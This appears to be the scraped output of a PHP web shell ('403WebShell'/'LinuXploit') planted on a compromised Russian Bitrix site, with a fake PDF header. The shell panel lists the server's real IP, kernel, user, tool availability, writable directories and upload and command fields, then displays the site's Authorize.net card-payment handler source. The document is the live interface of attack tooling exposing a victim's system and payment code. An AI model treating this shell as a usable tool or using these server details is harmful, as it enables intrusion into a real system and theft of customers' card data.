%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.139.81.115
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/handlers/paysystem/authorize/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/handlers/paysystem/authorize/handler.php
<?php

namespace Sale\Handlers\PaySystem;

use Bitrix\Main\Application;
use Bitrix\Main\Error;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Request;
use Bitrix\Main\Type\DateTime;
use Bitrix\Main\Web\HttpClient;
use Bitrix\Sale\PaySystem;
use Bitrix\Sale\Payment;
use Bitrix\Sale\PaySystem\ServiceResult;

Loc::loadMessages(__FILE__);

class AuthorizeHandler extends PaySystem\BaseServiceHandler
{
	/**
	 * @param Payment $payment
	 * @param Request|null $request
	 * @return ServiceResult
	 */
	public function initiatePay(Payment $payment, Request $request = null)
	{
		if ($request === null)
		{
			$instance = Application::getInstance();
			$context = $instance->getContext();
			$request = $context->getRequest();
		}

		if ($request->get('ccard_num') !== null)
		{
			$serviceResult = new ServiceResult();
			/** @var \Bitrix\Sale\PaymentCollection $paymentCollection */
			$paymentCollection = $payment->getCollection();

			/** @var \Bitrix\Sale\Order $order */
			$order = $paymentCollection->getOrder();

			$params = $this->getParamsBusValue($payment);

			$queryString  = "x_version=3.1";
			$queryString .= "&x_login=".urlencode($params["AUTHORIZE_LOGIN"]);
			$queryString .= "&x_tran_key=".urlencode($params["AUTHORIZE_TRANSACTION_KEY"]);
			$queryString .= "&x_test_request=".($this->isTestMode($payment) ? "TRUE" : "TRUE");

			$queryString .= "&x_delim_data=True";
			$queryString .= "&x_relay_response=False";
			$queryString .= "&x_delim_char=,";
			$queryString .= "&x_encap_char=|";

			$arTmp = array(
				"x_first_name" => "BUYER_PERSON_NAME_FIRST",	"x_last_name" => "BUYER_PERSON_LAST_NAME",
				"x_company" => "BUYER_PERSON_COMPANY",	"x_address" => "BUYER_PERSON_ADDRESS",	"x_city" => "BUYER_PERSON_CITY",
				"x_state" => "BUYER_PERSON_STATE",	"x_zip" => "BUYER_PERSON_ZIP",	"x_country" => "BUYER_PERSON_COUNTRY",
				"x_phone" => "BUYER_PERSON_PHONE",	"x_fax" => "BUYER_PERSON_FAX"
			);
			foreach ($arTmp as $key => $value)
			{
				if (array_key_exists($value, $params))
					$queryString .= "&".$key."=".urlencode($params[$key]);
			}

			$queryString .= "&x_cust_id=".urlencode($GLOBALS["SALE_INPUT_PARAMS"]["ORDER"]["USER_ID"]);
			$queryString .= "&x_customer_ip=".urlencode($_SERVER["REMOTE_ADDR"]);

			if (array_key_exists('BUYER_PERSON_EMAIL', $params))
				$queryString .= "&x_email=".urlencode($params['BUYER_PERSON_EMAIL']);

			$queryString .= "&x_email_customer=FALSE";
			$queryString .= "&x_merchant_email=".urlencode(\COption::GetOptionString("sale", "order_email", ""));

			$queryString .= "&x_invoice_num=".urlencode($params['PAYMENT_ID']);
			$queryString .= "&x_description=".urlencode($payment->getField('DATE_BILL'));

			$arTmp = array(
				"x_ship_to_first_name" => "SHIP_BUYER_PERSON_NAME_FIRST", "x_ship_to_last_name" => "SHIP_BUYER_PERSON_NAME_LAST",
				"x_ship_to_company" => "SHIP_BUYER_PERSON_COMPANY", "x_ship_to_address" => "SHIP_BUYER_PERSON_ADDRESS",
				"x_ship_to_city" => "SHIP_BUYER_PERSON_CITY", "x_ship_to_state" => "SHIP_BUYER_PERSON_STATE",
				"x_ship_to_zip" => "SHIP_BUYER_PERSON_ZIP", "x_ship_to_country" => "SHIP_BUYER_PERSON_COUNTRY"
			);
			foreach ($arTmp as $key => $value)
			{
				if (array_key_exists($value, $params))
					$queryString .= "&".$key."=".urlencode($params[$key]);
			}

			$queryString .= "&x_amount=".urlencode($params["PAYMENT_SHOULD_PAY"]);
			$queryString .= "&x_currency_code=".urlencode($payment->getField("CURRENCY"));
			$queryString .= "&x_method=CC";
			$queryString .= "&x_type=AUTH_CAPTURE";
			$queryString .= "&x_recurring_billing=NO";
			$queryString .= "&x_card_num=".urlencode($request->get('ccard_num'));
			$queryString .= "&x_exp_date=".urlencode($request->get('ccard_date1').$request->get('ccard_date2'));
			$queryString .= "&x_card_code=".urlencode($request->get('ccard_code'));

			$queryString .= "&x_tax=".urlencode($order->getTaxValue());
			$queryString .= "&x_freight=".urlencode($order->getDeliveryPrice());

			$http = new HttpClient();
			$result = $http->post($this->getUrl($payment, 'pay'), $queryString);
			if ($result)
			{
				$mass = explode("|,|", "|,".$result);

				$hashValue = $params["AUTHORIZE_SECRET_KEY"];
				if ($hashValue <> '')
				{
					if (md5($hashValue.($params["AUTHORIZE_LOGIN"]).$mass[7].sprintf("%.2f", $params["PAYMENT_SHOULD_PAY"])) != mb_strtolower($mass[38]))
					{
						$mass = array();
						$mass[1] = 3;
						$mass[4] = "MD5 transaction signature is incorrect!";
						$mass[3] = 0;
						$mass[2] = 0;
					}
				}

				$psStatus = ((int)$mass[1] == 1) ? "Y" : "N";
				$psStatusCode = $mass[3];
				if ($psStatus == "Y")
				{
					$psStatusDescription = "Approval Code: ".$mass[5].(!empty($mass[7]) ? "; Transaction ID: ".$mass[7] : "");
				}
				else
				{
					$psStatusDescription = (int)($mass[1]) == 2 ? "Declined" : "Error";
					$psStatusDescription .= ": ".$mass[4]." (Reason Code ".$mass[3]." / Sub ".$mass[2].")";

					$errorMsg = ((int)$mass[1] == 2) ? "Transaction was declined" : "Error while processing transaction";
					$errorMsg .= ": ".$mass[4]." (".$mass[3]."/".$mass[2].")";

					$serviceResult->addError(new Error($errorMsg));
				}

				$psStatusMsg = "";
				if (!empty($mass[6]))
					$psStatusMsg .= "\nAVS Result: [".$mass[6]."] ".Loc::getMessage("AN_AVS_".$mass[6]).";";

				if (!empty($mass[39]))
					$psStatusMsg .= "\nCard Code Result: [".$mass[39]."] ".Loc::getMessage('AN_CVV_'.$mass[39]).";";

				if (!empty($mass[40]))
					$psStatusMsg .= "\nCAVV: [".$mass[40]."] ".Loc::getMessage('AN_CAVV_'.$mass[40]).";";

				$psData = array(
					"PS_STATUS" => $psStatus,
					"PS_STATUS_CODE" => $psStatusCode,
					"PS_STATUS_DESCRIPTION" => $psStatusDescription,
					"PS_STATUS_MESSAGE" => $psStatusMsg,
					"PS_SUM" => $mass[10],
					"PS_CURRENCY" => $GLOBALS["SALE_INPUT_PARAMS"]["ORDER"]["CURRENCY"],
					"PS_RESPONSE_DATE" => new DateTime()
				);
				$serviceResult->setPsData($psData);

				foreach ($http->getError() as $code => $error)
				{
					$serviceResult->addError(new Error($error, $code));
				}
			}

			return $serviceResult;
		}

		$this->setExtraParams([
			'PAYMENT_ID' => $payment->getId(),
			'PAYSYSTEM_ID' => $this->service->getField('ID'),
		]);
		return $this->showTemplate($payment, "template");
	}

	/**
	 * @return array
	 */
	public function getCurrencyList()
	{
		return array();
	}

	/**
	 * @return array
	 */
	protected function getUrlList()
	{
		return array(
			'pay' => 'https://secure.authorize.net/gateway/transact.dll'
		);
	}

}


Youez - 2016 - github.com/yon3zu
LinuXploit